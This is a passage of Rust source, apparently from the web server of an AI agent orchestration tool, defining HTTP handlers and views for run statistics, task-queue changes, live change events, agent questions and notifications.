6489 pr_opened: usize,
6490 automerge_enabled: usize,
6491 merged_directly: usize,
6492 needs_attention: usize,
6493 clean: usize,
6494 coverage_rate: Option<RateView>,
6495 automerge_rate: Option<RateView>,
6496 attention_rate: Option<RateView>,
6497}
6498
6499impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6500 fn from(b: &stats::ReleaseBumpStats) -> Self {
6501 Self {
6502 merged: b.merged,
6503 recorded: b.recorded,
6504 pr_opened: b.pr_opened,
6505 automerge_enabled: b.automerge_enabled,
6506 merged_directly: b.merged_directly,
6507 needs_attention: b.needs_attention,
6508 clean: b.clean(),
6509 coverage_rate: RateView::of(b.recorded, b.merged),
6510 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6511 attention_rate: RateView::of(b.needs_attention, b.recorded),
6512 }
6513 }
6514}
6515
6516#[derive(Debug, Serialize)]
6518struct TaskCountsView {
6519 queued: usize,
6520 running: usize,
6521 done: usize,
6522 failed: usize,
6523 held: usize,
6524 blocked: usize,
6525 parked: usize,
6526}
6527
6528impl From<crate::queue::TaskCounts> for TaskCountsView {
6529 fn from(c: crate::queue::TaskCounts) -> Self {
6530 Self {
6531 queued: c.queued,
6532 running: c.running,
6533 done: c.done,
6534 failed: c.failed,
6535 held: c.held,
6536 blocked: c.blocked,
6537 parked: c.parked,
6538 }
6539 }
6540}
6541
6542#[derive(Debug, Serialize)]
6548struct RepoSummaryView {
6549 repo: String,
6552 name: String,
6554 runs: usize,
6555 completion_rate: Option<RateView>,
6556}
6557
6558impl From<&stats::RepoStats> for RepoSummaryView {
6559 fn from(r: &stats::RepoStats) -> Self {
6560 let t = &r.stats.totals;
6561 Self {
6562 repo: r.repo.to_string_lossy().into_owned(),
6563 name: r.name.clone(),
6564 runs: t.runs,
6565 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6566 }
6567 }
6568}
6569
6570#[derive(Debug, Serialize)]
6576struct StatsView {
6577 totals: StatsTotalsView,
6578 agents: Vec<AgentStatsView>,
6580 reviewers: Vec<ReviewerStatsView>,
6582 advisors: Vec<AdvisorStatsView>,
6584 e2e: E2eStatsView,
6585 release_bumps: ReleaseBumpStatsView,
6586 queue: Option<TaskCountsView>,
6587 runs_unreadable: usize,
6597 repos: Vec<RepoSummaryView>,
6601 daily: Vec<DailyStatsView>,
6606 repo: Option<String>,
6610 retired_hidden: Vec<String>,
6614}
6615
6616#[derive(Debug, Serialize)]
6618struct DailyStatsView {
6619 date: String,
6621 runs: usize,
6622 merged: usize,
6623 ready: usize,
6624 other: usize,
6625 completion_rate: Option<RateView>,
6627}
6628
6629impl From<&stats::DayBucket> for DailyStatsView {
6630 fn from(b: &stats::DayBucket) -> Self {
6631 Self {
6632 date: b.date.to_string(),
6633 runs: b.runs,
6634 merged: b.merged,
6635 ready: b.ready,
6636 other: b.other,
6637 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6638 }
6639 }
6640}
6641
6642const STATS_DAILY_DAYS: usize = 30;
6644
6645#[derive(Debug, Default, Deserialize)]
6654#[serde(default)]
6655struct StatsQuery {
6656 repo: Option<String>,
6657 all: bool,
6659 runs_only: bool,
6661}
6662
6663async fn stats_get(
6670 State(ui): State<Arc<Ui>>,
6671 Query(q): Query<StatsQuery>,
6672) -> ApiResult<Json<StatsView>> {
6673 blocking(move || {
6674 let states: Vec<RunState> = run_ids(&ui.runs)
6675 .into_iter()
6676 .filter_map(|id| read_run(&ui.runs, &id).ok())
6677 .collect();
6678 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6679 .iter()
6680 .map(RepoSummaryView::from)
6681 .collect();
6682 let mut scoped: Vec<&RunState> = states.iter().collect();
6683 let mut collected = match &q.repo {
6684 Some(repo) => {
6685 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6686 if filtered.is_empty() {
6687 return Err(ApiError::not_found(format!(
6688 "no runs recorded against repo `{repo}`"
6689 )));
6690 }
6691 scoped = filtered.clone();
6692 stats::collect_refs(filtered)
6693 }
6694 None => stats::collect(&states),
6695 };
6696 if !q.all {
6697 let repo = q
6698 .repo
6699 .as_deref()
6700 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6701 stats::retain_current_roster(&mut collected, &repo);
6702 }
6703 let daily = stats::daily(
6704 scoped,
6705 jiff::Zoned::now().date(),
6706 &jiff::tz::TimeZone::system(),
6707 STATS_DAILY_DAYS,
6708 );
6709 let queue_counts = (!q.runs_only)
6710 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6711 Ok(Json(StatsView {
6712 totals: StatsTotalsView::from(&collected.totals),
6713 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6714 reviewers: collected
6715 .reviewers
6716 .iter()
6717 .map(ReviewerStatsView::from)
6718 .collect(),
6719 advisors: collected
6720 .advisors
6721 .iter()
6722 .map(AdvisorStatsView::from)
6723 .collect(),
6724 e2e: E2eStatsView::from(&collected.e2e),
6725 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6726 queue: queue_counts,
6727 runs_unreadable: runs_unreadable(&ui.runs),
6728 repos,
6729 daily: daily.iter().map(DailyStatsView::from).collect(),
6730 repo: q.repo.clone(),
6731 retired_hidden: collected.retired_hidden.clone(),
6732 }))
6733 })
6734 .await
6735}
6736
6737#[derive(Debug, Default, Deserialize)]
6740#[serde(default, deny_unknown_fields)]
6741struct HoldBody {
6742 reason: Option<String>,
6743}
6744
6745async fn queue_hold(
6746 State(ui): State<Arc<Ui>>,
6747 Path(id): Path<String>,
6748 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6749) -> ApiResult<Json<TaskView>> {
6750 let body = match body {
6754 Ok(Json(body)) => body,
6755 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6756 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6757 };
6758 let reason = body.reason.filter(|r| !r.trim().is_empty());
6759 mutate(ui, id, move |t| {
6760 t.hold_manual(reason.clone());
6761 Ok(())
6762 })
6763 .await
6764}
6765
6766async fn queue_release(
6767 State(ui): State<Arc<Ui>>,
6768 Path(id): Path<String>,
6769) -> ApiResult<Json<TaskView>> {
6770 mutate(ui, id, |t| {
6771 t.release_operator("web", None);
6772 Ok(())
6773 })
6774 .await
6775}
6776
6777#[derive(Debug, Deserialize)]
6778#[serde(deny_unknown_fields)]
6779struct AttemptLimitBody {
6780 attempt_limit: serde_json::Value,
6782}
6783
6784async fn queue_attempt_limit(
6785 State(ui): State<Arc<Ui>>,
6786 Path(id): Path<String>,
6787 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6788) -> ApiResult<Json<TaskView>> {
6789 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6790 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6791 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6792 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6793}
6794
6795#[derive(Debug, Deserialize)]
6796#[serde(deny_unknown_fields)]
6797struct ImplementersBody {
6798 implementers: u8,
6799}
6800
6801async fn queue_implementers(
6802 State(ui): State<Arc<Ui>>,
6803 Path(id): Path<String>,
6804 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6805) -> ApiResult<Json<TaskView>> {
6806 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6807 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6808}
6809
6810#[derive(Debug, Deserialize)]
6811#[serde(deny_unknown_fields)]
6812struct UrgentBody {
6813 urgent: bool,
6814}
6815
6816async fn queue_urgent(
6817 State(ui): State<Arc<Ui>>,
6818 Path(id): Path<String>,
6819 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6820) -> ApiResult<Json<TaskView>> {
6821 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6822 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6823}
6824
6825#[derive(Debug, Deserialize)]
6827#[serde(deny_unknown_fields)]
6828struct PriorityBody {
6829 priority: i32,
6830}
6831
6832async fn queue_priority(
6838 State(ui): State<Arc<Ui>>,
6839 Path(id): Path<String>,
6840 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6841) -> ApiResult<Json<TaskView>> {
6842 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6843 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6844}
6845
6846#[derive(Debug, Deserialize)]
6848#[serde(deny_unknown_fields)]
6849struct EditBody {
6850 title: String,
6851 instruction: String,
6852 #[serde(default)]
6855 force: bool,
6856}
6857
6858async fn queue_edit(
6862 State(ui): State<Arc<Ui>>,
6863 Path(id): Path<String>,
6864 body: std::result::Result<Json<EditBody>, JsonRejection>,
6865) -> ApiResult<Json<TaskView>> {
6866 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6867 let mut judged: Option<(String, PathBuf)> = None;
6871 if !body.force {
6872 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6873 let (id, text) = (id.clone(), body.instruction.clone());
6874 let (seen, hits) = blocking(move || {
6875 let id = resolve_task(&queue, &id)?;
6876 let t = queue.get(&id)?;
6877 if text == t.instruction {
6878 return Ok((None, Vec::new()));
6879 }
6880 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6881 Ok((Some((t.instruction, t.repo)), hits))
6882 })
6883 .await?;
6884 if let Some((_, repo)) = &seen {
6885 let cfg = crate::config::Config::discover(repo, None)
6886 .ok()
6887 .map(|(c, _)| c);
6888 let screened =
6889 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6890 .await
6891 .map_err(|dup| {
6892 ApiError::conflict(dup.render(
6893 "Nothing was saved. If it is not a duplicate, repeat the request \
6894 with \"force\": true.",
6895 ))
6896 })?;
6897 if let crate::dupes::Screened::Unjudged(why) = screened {
6898 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6899 }
6900 }
6901 judged = seen;
6902 }
6903 let force = body.force;
6904 mutate(ui, id, move |t| {
6905 if !force && body.instruction != t.instruction {
6906 match &judged {
6907 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6908 _ => {
6909 anyhow::bail!("the task changed while it was being checked; repeat the request")
6910 }
6911 }
6912 }
6913 t.edit(body.title.clone(), body.instruction.clone())
6914 })
6915 .await
6916}
6917
6918async fn queue_done(
6926 State(ui): State<Arc<Ui>>,
6927 Path(id): Path<String>,
6928) -> ApiResult<Json<TaskView>> {
6929 let home = ui.home.clone();
6930 mutate(ui, id, move |t| {
6931 t.succeed();
6932 crate::daemon::supersede_prior_runs(t, &home);
6940 Ok(())
6941 })
6942 .await
6943}
6944
6945async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6953 blocking(move || {
6954 let id = resolve_task(&ui.queue, &id)?;
6955 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6956 ui.queue
6957 .remove(&id, in_flight, &ui.questions)
6958 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6959 Ok(StatusCode::NO_CONTENT)
6960 })
6961 .await
6962}
6963
6964async fn mutate(
6973 ui: Arc<Ui>,
6974 id: String,
6975 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6976) -> ApiResult<Json<TaskView>> {
6977 blocking(move || {
6978 let id = resolve_task(&ui.queue, &id)?;
6979 let _claim = ui.queue.claim(&id).map_err(|e| {
6984 ApiError::conflict(format!(
6985 "{e:#} - a daemon is running this task, so it cannot be \
6986 changed from here yet; wait until it is released, then retry"
6987 ))
6988 })?;
6989 let mut task = ui.queue.get(&id)?;
6990 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6991 Ok(dup) => ApiError::conflict(dup.render(
6992 "Nothing was saved. If it is not a duplicate, repeat the request with \
6993 \"force\": true.",
6994 )),
6995 Err(e) => ApiError::bad_request_from(e),
6996 })?;
6997 ui.queue.put(&mut task)?;
6998 Ok(Json(TaskView::from(task)))
6999 })
7000 .await
7001}
7002
7003async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7008 ui.monitor.ensure_worker(&ui);
7009 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7010 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7011
7012 let state = Arc::clone(&ui);
7013 tokio::spawn(async move {
7014 let initial_revisions = {
7015 let guard = match state.monitor.latest.lock() {
7016 Ok(g) => g,
7017 Err(p) => p.into_inner(),
7018 };
7019 guard.as_ref().map(|(r, _)| *r)
7020 };
7021 if let Some(revisions) = initial_revisions {
7022 let initial_payload = serde_json::json!({
7023 "queue_rev": revisions.0,
7024 "runs_rev": revisions.1,
7025 "questions_rev": revisions.2,
7026 "talks_rev": revisions.3,
7027 "notifications_rev": revisions.4,
7028 "loop_rev": revisions.5,
7029 });
7030
7031 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7032 if tx.send(event).await.is_err() {
7033 return;
7034 }
7035 }
7036 }
7037
7038 loop {
7039 match tokio::select! {
7040 _ = tx.closed() => return,
7041 value = broadcast_rx.recv() => value,
7042 } {
7043 Ok(notif) => {
7044 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7045 else {
7046 break;
7047 };
7048 if tx.send(event).await.is_err() {
7049 break;
7050 }
7051 }
7052 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7053 let revs = {
7054 let guard = match state.monitor.latest.lock() {
7055 Ok(g) => g,
7056 Err(p) => p.into_inner(),
7057 };
7058 guard.as_ref().map(|(r, _)| *r)
7059 };
7060 if let Some(revs) = revs {
7061 let payload = serde_json::json!({
7062 "queue_rev": revs.0,
7063 "runs_rev": revs.1,
7064 "questions_rev": revs.2,
7065 "talks_rev": revs.3,
7066 "notifications_rev": revs.4,
7067 "loop_rev": revs.5,
7068 });
7069 if let Ok(event) = Event::default().event("change").json_data(payload) {
7070 if tx.send(event).await.is_err() {
7071 break;
7072 }
7073 }
7074 }
7075 }
7076 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7077 break;
7078 }
7079 }
7080 }
7081 });
7082
7083 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7084 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7085}
7086
7087fn run_ids(runs: &FsPath) -> Vec<String> {
7093 let mut ids: Vec<String> = std::fs::read_dir(runs)
7094 .into_iter()
7095 .flatten()
7096 .flatten()
7097 .filter(|e| e.path().join("run.json").is_file())
7098 .map(|e| e.file_name().to_string_lossy().into_owned())
7099 .collect();
7100 ids.sort_unstable_by(|a, b| b.cmp(a));
7102 ids
7103}
7104
7105fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7107 let path = runs.join(id).join("run.json");
7108 let body =
7109 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7110 let state: RunState =
7111 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7112 run::migrate_schema(state)
7117}
7118
7119#[must_use]
7127pub fn runs_unreadable(runs: &FsPath) -> usize {
7128 run_ids(runs)
7129 .into_iter()
7130 .filter(|id| read_run(runs, id).is_err())
7131 .count()
7132}
7133
7134fn plain_record_id(id: &str) -> bool {
7135 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7136}
7137
7138fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7140 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7141 return Ok(id.to_owned());
7142 }
7143 pick(run_ids(runs), id, "run")
7144}
7145
7146fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7148 if plain_record_id(id) && queue.path_of(id).is_file() {
7149 return Ok(id.to_owned());
7150 }
7151 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7152 pick(ids, id, "task")
7153}
7154
7155#[derive(Debug, Serialize)]
7166struct QuestionView {
7167 choice_effects: std::collections::BTreeMap<String, String>,
7168 record_revision: String,
7169 #[serde(flatten)]
7170 question: Question,
7171 detail_md: Vec<md::Node>,
7172 posting_view: Option<PostingView>,
7173 thread_bodies_md: Vec<Vec<md::Node>>,
7175 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7178 waiting_on_agent: bool,
7188 holder: Option<&'static str>,
7192 deputies_enabled: bool,
7196 deputy_exhausted: bool,
7199 text_delivery: crate::question_delivery::Availability,
7200 run_is_task: bool,
7203 origin_chat: Option<String>,
7206 origin_chat_closed: bool,
7208 can_consult_chat: bool,
7210}
7211
7212#[derive(Debug, Serialize)]
7213struct PostingView {
7214 before_md: Vec<md::Node>,
7215 after_md: Vec<md::Node>,
7216 fields: Vec<crate::github_text::ComparisonView>,
7217}
7218
7219fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7220 let comparison = question.posting_comparison.as_ref()?;
7221 if !comparison.matches_detail(&question.detail) {
7222 return None;
7223 }
7224 let mut ids = std::collections::BTreeSet::new();
7225 if comparison.fields.is_empty()
7226 || comparison
7227 .fields
7228 .iter()
7229 .flat_map(|f| &f.pairs)
7230 .any(|p| !ids.insert(p.id))
7231 || comparison
7232 .fields
7233 .iter()
7234 .flat_map(|f| &f.original_triggers)
7235 .any(|t| !ids.insert(t.id))
7236 {
7237 return None;
7238 }
7239 let fields = comparison
7240 .fields
7241 .iter()
7242 .map(|f| f.view(comparison.excerpt))
7243 .collect::<Option<Vec<_>>>()?;
7244 Some(PostingView {
7245 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7246 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7247 fields,
7248 })
7249}
7250
7251impl QuestionView {
7252 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7256 let base = md::ImageBase::QuestionPanel {
7257 id: question.id.clone(),
7258 };
7259 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7260 Self {
7261 choice_effects: question
7262 .choices
7263 .iter()
7264 .filter_map(|c| {
7265 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7266 })
7267 .collect(),
7268 record_revision: question_record_revision(&question),
7269 detail_md: md::to_nodes(&question.detail, &base),
7270 posting_view: posting_view(&question, &base),
7271 thread_bodies_md: question
7272 .thread
7273 .iter()
7274 .map(|t| md::to_nodes(&t.body, &base))
7275 .collect(),
7276 thread_notes_md: question
7277 .thread
7278 .iter()
7279 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7280 .collect(),
7281 deputy_exhausted: store.deputy_exhausted(&question),
7282 waiting_on_agent: question.waiting_on_agent(),
7283 holder,
7284 deputies_enabled: deputies_enabled(cfg, &question),
7285 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7286 run_is_task: question.run_names_task(),
7287 origin_chat: None,
7288 origin_chat_closed: false,
7289 can_consult_chat: false,
7290 question,
7291 }
7292 }
7293
7294 fn with_origin(
7296 mut self,
7297 tasks: &[crate::queue::Task],
7298 talks: &[Talk],
7299 watches: &[crate::release_watch::WatchState],
7300 ) -> Self {
7301 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7302 self.can_consult_chat = consult.is_some();
7303 let talk =
7304 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7305 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7306 self.origin_chat = talk.map(|t| t.id);
7307 self
7308 }
7309}
7310
7311fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7315 Config::discover(repo, None).ok().map(|(c, _)| c)
7316}
7317
7318fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7320 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7321}
7322
7323fn question_views(
7326 qs: Vec<Question>,
7327 store: &ask::Questions,
7328 load: impl FnOnce() -> Option<Config>,
7329) -> Vec<QuestionView> {
7330 if qs.is_empty() {
7331 return Vec::new();
7332 }
7333 let cfg = load();
7334 qs.into_iter()
7335 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7336 .collect()
7337}
7338
7339fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7349 if !q.status.open() {
7350 return None;
7351 }
7352 if q.cwd.is_none()
7353 && q.deputy.is_none()
7354 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7355 {
7356 return crate::deputy::kind_of(q).map(|_| "nobody");
7357 }
7358 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7359 Some(_) if q.deputy.is_some() => "deputy",
7360 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7361 Some(_) => "asker",
7362 None => "nobody",
7363 })
7364}
7365
7366async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7372 blocking(move || {
7373 let questions = ui.questions.list();
7374 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7375 Ok(Json(
7376 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7377 .into_iter()
7378 .map(|view| view.with_origin(&tasks, &talks, &watches))
7379 .collect(),
7380 ))
7381 })
7382 .await
7383}
7384
7385async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7387 blocking(move || {
7388 Ok(Json(question_views(
7389 ui.questions.list(),
7390 &ui.questions,
7391 || deputy_config(&ui.repo),
7392 )))
7393 })
7394 .await
7395}
7396
7397fn question_record_revision(question: &Question) -> String {
7398 use std::hash::{Hash as _, Hasher as _};
7399 let mut hash = std::hash::DefaultHasher::new();
7400 serde_json::to_vec(question)
7401 .expect("serializable question")
7402 .hash(&mut hash);
7403 format!("{:016x}", hash.finish())
7404}
7405
7406#[derive(Serialize)]
7407struct QuestionOriginView {
7408 id: String,
7409 record_revision: String,
7410 origin_chat: Option<String>,
7411 origin_chat_closed: bool,
7412 can_consult_chat: bool,
7413}
7414
7415async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7416 blocking(move || {
7417 let questions = ui.questions.list();
7418 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7419 Ok(Json(
7420 questions
7421 .into_iter()
7422 .map(|question| {
7423 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7424 let can_consult_chat = consult.is_some();
7425 let talk = crate::consult::associated_talk_with_watches(
7426 &tasks, &talks, &question, &watches,
7427 );
7428 QuestionOriginView {
7429 record_revision: question_record_revision(&question),
7430 id: question.id,
7431 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7432 origin_chat: talk.map(|talk| talk.id),
7433 can_consult_chat,
7434 }
7435 })
7436 .collect(),
7437 ))
7438 })
7439 .await
7440}
7441
7442type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7443
7444fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7448 fn task_for_run(
7449 ui: &Ui,
7450 index: &mut Option<Vec<Arc<TaskRelation>>>,
7451 run: &str,
7452 loaded: &HashMap<String, Task>,
7453 ) -> ApiResult<Option<Task>> {
7454 if !plain_record_id(run) {
7455 return Ok(None);
7456 }
7457 if index.is_none() {
7458 *index = Some(ui.indexed_tasks()?);
7459 }
7460 Ok(index
7461 .as_ref()
7462 .expect("loaded index")
7463 .iter()
7464 .find(|task| task.runs.iter().any(|id| id == run))
7465 .and_then(|task| {
7466 loaded
7467 .get(&task.id)
7468 .cloned()
7469 .or_else(|| ui.queue.get(&task.id).ok())
7470 })
7471 .filter(|task| task.runs.iter().any(|id| id == run)))
7472 }
7473 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7474 plain_record_id(id)
7475 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7476 .flatten()
7477 .filter(|task| task.id == id)
7478 };
7479 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7480 let mut index = None;
7481 let mut tasks = HashMap::new();
7482 let mut talks = HashMap::new();
7483 for question in questions {
7484 for reference in crate::consult::question_task_refs(question, &watches) {
7485 let mut current = match reference {
7486 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7487 crate::consult::QuestionTaskRef::Run(id) => {
7488 task_for_run(ui, &mut index, id, &tasks)?
7489 }
7490 };
7491 let mut seen = HashSet::new();
7492 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7493 let Some(task) = current.take() else {
7494 break;
7495 };
7496 if !seen.insert(task.id.clone()) {
7497 break;
7498 }
7499 let chat = task.chat_talk().map(str::to_owned);
7500 let followup = task.followup.clone();
7501 tasks.insert(task.id.clone(), task);
7502 if let Some(chat) = chat {
7503 if plain_record_id(&chat)
7504 && !talks.contains_key(&chat)
7505 && let Ok(talk) = ui.talks.get(&chat)
7506 {
7507 talks.insert(chat, talk);
7508 }
7509 break;
7510 }
7511 let Some(followup) = followup else {
7512 break;
7513 };
7514 current = match followup.origin_task {
7515 Some(id) => direct_task(&id, &tasks),
7516 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7517 };
7518 }
7519 }
7520 }
7521 let mut tasks: Vec<Task> = tasks.into_values().collect();
7522 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7523 Ok((tasks, talks.into_values().collect(), watches))
7524}
7525
7526async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7529 blocking(move || {
7530 let items = ui.notices.list();
7531 let unread = items.iter().filter(|n| n.unread()).count();
7532 let items: Vec<_> = items
7533 .into_iter()
7534 .map(|n| {
7535 let question = crate::notices::answerable_question(&n, &ui.questions);
7536 let mut item = serde_json::to_value(n)?;
7537 item["answerable_question"] = serde_json::json!(question);
7538 Ok(item)
7539 })
7540 .collect::<anyhow::Result<_>>()?;
7541 Ok(Json(
7542 serde_json::json!({ "unread": unread, "items": items }),
7543 ))
7544 })
7545 .await
7546}
7547
7548fn notice_error(e: anyhow::Error) -> ApiError {
7549 ApiError::not_found(format!("{e:#}"))
7552}
7553
7554async fn notification_read(
7556 State(ui): State<Arc<Ui>>,
7557 Path(id): Path<String>,
7558) -> ApiResult<Json<Notice>> {
7559 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7560}
7561
7562async fn notification_dismiss(
7564 State(ui): State<Arc<Ui>>,
7565 Path(id): Path<String>,
7566) -> ApiResult<Json<Notice>> {
7567 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7568}
7569
7570async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7572 blocking(move || {
7573 let changed = ui.notices.mark_all_read()?;
7574 Ok(Json(serde_json::json!({ "marked": changed })))
7575 })
7576 .await
7577}
7578
7579#[derive(Debug, Default, Deserialize)]
7585#[serde(default, deny_unknown_fields)]
7586struct NewAnswer {
7587 choice: Option<String>,
7588 text: Option<String>,
7589 talk: Option<String>,
7590 head: Option<String>,
7591}
7592
7593async fn question_answer(
7594 State(ui): State<Arc<Ui>>,
7595 Path(id): Path<String>,
7596 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7597) -> ApiResult<Json<QuestionView>> {
7598 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7599 let answer = match (body.choice, body.text) {
7600 (Some(c), None) => Answer::Choice(c),
7601 (None, Some(t)) => Answer::Text(t),
7602 (Some(_), Some(_)) => {
7603 return Err(ApiError::bad_request(
7604 "send either `choice` or `text`, not both",
7605 ));
7606 }
7607 (None, None) => {
7608 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7609 }
7610 };
7611
7612 blocking(move || {
7613 let id = resolve_question(&ui.questions, &id)?;
7614 let q = ui
7615 .questions
7616 .get(&id)
7617 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7618 if !q.status.open() {
7619 return Err(ApiError::conflict(format!(
7623 "question {} is already {}",
7624 q.short(),
7625 q.status.as_str()
7626 )));
7627 }
7628 let cfg = deputy_config(&ui.repo);
7632 let (q, ()) = ui
7633 .questions
7634 .update(&q.id, |r| {
7635 anyhow::ensure!(
7636 r.routed_task.is_none() || r.merge_target.is_some(),
7637 "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7638 );
7639 let merge = matches!(&answer, ask::Answer::Choice(c)
7640 if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7641 if r.routed_task.is_some() && r.merge_target.is_some() && merge
7644 && (body.talk.is_some() || body.head.is_some())
7645 {
7646 let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7647 let head = body.head.as_deref().context("approval button requires the displayed head")?;
7648 let talk = ui.talks.get(talk_id)?;
7649 anyhow::ensure!(
7650 talk.status.open(),
7651 "approval chat is closed"
7652 );
7653 r.answer_chat_button(answer, talk_id, head)
7654 } else {
7655 r.answer(answer)
7656 }
7657 })
7658 .map_err(ApiError::bad_request_from)?;
7659 let (tasks, talks, watches) =
7660 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7661 Ok(Json(
7662 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7663 ))
7664 })
7665 .await
7666}
7667
7668fn question_text_error(e: anyhow::Error) -> ApiError {
7670 let reason = e
7671 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7672 .map(|e| e.reason);
7673 let error = ApiError::bad_request_from(e);
7674 if let Some(reason) = reason {
7675 ApiError {
7676 text_reason: Some(reason),
7677 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7678 }
7679 } else {
7680 error
